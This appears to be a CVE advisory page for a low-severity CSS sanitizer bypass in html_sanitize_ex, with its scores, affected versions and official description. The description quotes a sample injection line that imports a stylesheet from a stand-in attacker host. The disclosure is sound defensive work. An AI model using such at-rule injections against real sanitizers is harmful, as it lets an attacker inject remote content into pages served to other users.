Vulnerability · Published Aug 6, 2026 · Assigned by EEF

CVE-2026-68747CSS sanitizer allowlist bypass in html_sanitize_ex via non-declaration input

Low 2.3

In plain English

A low-severity injection in html_sanitize_ex from rrrene. There are no confirmed reports of exploitation so far. The chance it is exploited in the next 30 days is estimated at 0.4% (higher than 39% of all known vulnerabilities).

Severity (CVSS 4.0)2.3Low

Exploit odds (30 days)0.4%top 60.9% of all CVEs

Exploited in the wildNo reportsCISA SSVC: none

Attack toolingNoneno public tooling known

Official description

Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') vulnerability in the CSS scrubber in rrrene html_sanitize_ex allows an unauthenticated remote attacker to inject CSS at-rules, including an import of a remote stylesheet, into a page served to other users. HtmlSanitizeEx.Scrubber.CSS.scrub/1 applies its property and value allowlist through a Regex.replace over substrings matching a property: value declaration pattern, so input that does not match that pattern is never inspected and is copied to the output unchanged. @import url(//attacker.example/style.css); survives, while the same URL inside a background: url(...) declaration is removed. Element boundaries are resolved before the scrubber runs, so injected content does not escape the <style> element and no script executes. This issue affects html_sanitize_ex: from 0.3.1 before 1.4.5 and from 1.5.0-rc.0 before 1.5.4.

Affected products (as reported)

Vendor	Product	Versions
rrrene	html_sanitize_ex	0.3.1 – before 1.4.51.5.0-rc.0 – before 1.5.4
rrrene	html_sanitize_ex	21f90012eb21aa36f4e3701b7547e12faf0f3c8b – before *

Weakness: CWE-74 · Vector: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

In plain English

Official description

Affected products (as reported)

References